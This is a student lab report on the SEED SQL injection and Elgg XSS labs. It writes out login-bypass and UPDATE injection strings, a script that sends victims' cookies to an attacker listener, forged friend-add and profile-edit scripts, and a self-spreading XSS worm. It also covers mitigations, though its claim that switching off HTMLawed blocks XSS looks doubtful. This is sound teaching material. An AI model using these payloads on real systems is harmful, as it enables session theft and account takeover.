一、实验内容
1、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
(1)熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
(4)SQL对抗:修复上述SQL注入攻击漏洞。
2、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
(1)发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(2)弹窗显示cookie信息:将cookie信息显示。
(3)窃取受害者的cookies:将cookie发送给攻击者。
(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
(6)编写XSS蠕虫。
(7)对抗XSS攻击。
二、实验相关知识
1、SQL注入攻击
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以市面的防火墙都不会对SQL注入发出警报,如果管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。
SQL注入攻击原理:SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。
SQL注入攻击防范的方法:
(1)定制黑白名单:将常用请求定制为白名单,一些攻击频繁的攻击限制其为黑名单,可以通过服务器安全狗进行实现,服务器安全狗可以针对攻击类型把对方ip进行封禁处理,也可也对常用ip进行加白名单。
(2)限制查询长度和类型:由于SQL注入过程中需要构造较长的SQL语句,同时有些不常用的查询类型我们可以进行限制,凡是不符合该类请求的都归结于非法请求予以限制。
(3)数据库用户的权限配置:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。
(4)限制目录权限:务器管理员还应在IIS中为每个网站设置好执行权限,WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。
2、XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
XSS攻击技术原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
与钓鱼攻击相比,XSS攻击所带来的危害更大,通常具有如下特点:
(1)由于XSS攻击在用户当前使用的应用程序中执行,用户将会看到与其有关的个性化信息,如账户信息或“欢迎回来”消息,克隆的Web站点不会显示个性化信息。
(2)通常,在钓鱼攻击中使用的克隆Web站点一经发现,就会立即被关闭。
(3)许多浏览器与安全防护软件产品都内置钓鱼攻击过滤器,可阻止用户访问恶意的克隆站点。
(4)如果客户访问一个克隆的Web网银站点,银行一般不承担责任。但是,如果攻击者通过银行应用程序中的XSS漏洞攻击了银行客户,则银行将不能简单地推卸责任。
XSS攻击防范措施:
(1)服务器端防范措施:“限制、拒绝、净化”;输入验证: 对用户提交数据进行尽可能严格的验证与过滤;输出净化: HTMLEncode()方法;消除危险的输入点。
(2)客户端防范措施:提高浏览器访问非受信网站时的安全等级;关闭Cookie功能,或设置Cookie只读;建立安全意识和浏览习惯。
三、实验过程
1、SEED SQL注入攻击与防御实验
(1)熟悉SQL语句
使用命令“sudo service apache2 status”查看apache服务器运行状态,可以发现当前apache服务器正在运行中。
使用命令“mysql -u root -p”登录数据库,对应的密码为seedubuntu。
输入命令“show databases;”,查看库中有哪些库。
(此处一定不能忘记加分号!)
输入命令“use Users”,使用系统创建好的 Users 数据库。
输入命令“show tables;”,查看该数据库下所有的表,可以看到该数据库存在一个名为“credential”的表。
可以输入命令“select * from credential where Name=‘Alice’;”,以查看Alice的所有信息。
(2)对SELECT语句的SQL注入攻击
在firefox浏览器中输入网址:www.SEEDLabSQLInjection.com,进入本部分实验所需的网站。
然后,使用快捷键ctrl+U查看该页面源码,可以发现,用户点击提交后,表单使用get方法将用户输入的信息提交至unsafe_home.php页面进行权限校验。
然后,在终端输入命令:vim /var/www/SQLInjection/unsafe_home.php,在所显示的内容中找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞。
可以发现该数据库对于普通用户和Admin用户的处理方式是不同的。
通过上述SQL语句可以发现,条件将用户名和我们输入的密码连接到了一起。我们就可以利用注释特性,构建用户名为Admin’#,“#”表示注释,后面的内容被注释掉,那么代码就不会对password进行检查,从而绕过了密码校验,直接进入Admin用户页面。
测试输入用户名为:Admin’ #,密码为空。
点击登录后,发现成功登录,并且可以看到用户的详细信息,如用户的姓名、Eider,生日、薪酬等。
(3)对UPDATE语句的SQL注入攻击
接下来,我们对Admin的工资进行修改,修改之前,可以利用上一步的漏洞发现Admin修改前的工资为:40000。
之后点击页面上方的Edit Profile按钮,进入更新信息页面。
分析网页源代码可以发现,该网站将传入的参数传输到unsafe_edit_backend。
输入命令:vim /var/www/SQLInjection/unsafe_edit_backend.php查看一下修改界面的源代码,在unsafe_edit_backend.php中找到 Update语句,发现不能对个人工资进行更新修改。同时由上文可以知道 Admin 的编号是 99999,变量$input_nickname对应的就是用户输入的 NickName。
如果用户在 NickName 文本框中输入:
‘, salary=‘2928’ where EID=‘99999’;#
那么变量input_nickname则发生相应改变,于是,上面的语句变为:$sql = "UPDATE credential SET nickname=’', salary=‘2928’ where EID=‘99999’;,这条语句就成功将 Admin的工资更新为 2928。
(4)SQL对抗
将unsafe_home.php
中sql部分的代码进行修改为:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd);
将unsafe_edit_backend.php
中的sql语句修改为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
2、SEED XSS跨站脚本攻击实验(Elgg)
(1)发布恶意消息,显示警报窗口
首先,输入网址http://www.xsslabelgg.com/profile/alice,账号:Alice 密码:seedalice进入个人信息页面。
之后点击Edit profile,接着在下面的Brief description文本框输入以下语句:
<script>alert('xss');</script>
点击Save保存。
保存之后,可以看到有弹窗信息,证明攻击是成功的。
(2)弹窗显示cookie信息:将cookie信息显示
跟(1)一样,在Brief description文本框输入以下 JS 语句并保存:
<script>alert(document.cookie);</script>
保存后,我们可以看到弹窗显示cookie信息。
(3)窃取受害者的cookies
首先,输入命令“ifconfig”,查看本机的IP,发现为192.168.200.66。
在个人主页的Brief description中输入提前设计好的攻击代码:
<script>document.write('<img src=http://192.168.200.66:5555?c='+escape(document.cookie) + ' >');</script>
切换成Boby的账号,密码是seedboby。
在member中访问Alice。
在终端输入命令“nc -l 5555 -v”,监听5555端口,即可得到Boby的cookie。
(4)成为受害者的朋友
先使用快捷键 ctrl+shift+E 打开浏览器开发者模式,进入Network页面,然后点击和Alice成为好友,可以看到请求的方式是POST,请求的地址是:http://www.xsslabelgg.com/action/friends/add。
请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=。也就是说我们要指明:添加的好友、添加的时间,并进行添加者的身份验证。
于是,我们可以根据上述分析构造下面的脚本,用于添加其他好友。
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//发送 Ajax 请求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
将脚本放在 Alice 的About me文本框,并保存。
登录 Boby ,访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,再返回 Boby 主页,看到已经成功添加 Alice 为好友。
(5)修改受害者的信息
登录Alice账户,在Edite profile模块输入以下代码,并保存。
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
可以发现有弹出弹窗消息。
接下来,我们退出 Alice账户,登录 Boby账户,访问 Alice,然后再返回 Boby界面,可以发现已经被攻击。
(6)编写XSS蠕虫
为了实现蠕虫感染。调用 DOM API 的方法,编写以下代码,可以实现在不同的用户之间感染传播。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
将上述代码放在 Alice 的About me文本框内保存。
保存后有弹窗出现。
登录Boby账号,访问Alice主页。
查看Boby的 About me,发现也已经被改变了,说明其感染了xss蠕虫攻击代码。
为证明我们的正确性,我们还可以登录Admin,利用Admin用户去访问一下Boby,可看到打开Boby的界面,就会有弹窗。
紧接着返回Admin主页面,发现也被感染。
(7)对抗XSS攻击
登录Admin账户。
选择Administration中的Plugins。
关闭其中的HTMLawed功能。
再次换回Alice账号,可以发现其中的About me内容失效,无法进行上述攻击。
四、学习中遇到的问题及解决
问题1:做第二个实验的第4个小实验时,输入相关代码到About me中后,并不能成功实现攻击。
解决办法:我们需要调整代码的编辑格式,选择 Edit HTML 模式。
问题2:在进行xxs攻击时,修改了Alice的About me后,Boby的About me没有变化。
解决办法:我们需要在Boby账户中再次访问Alice,才能产生有效攻击。
问题3:在输入“show databases;”等访问数据库的相关命令时,显示错误。
解决办法:一定不能忘记加分号!
五、实践总结
通过本次实验,我学习了SQL注入与XSS跨站脚本攻击的原理、并付诸于实践,体会到了具体的攻击过程,难度在于第二个大实验,特别是构造JS代码部分,总体收获很多。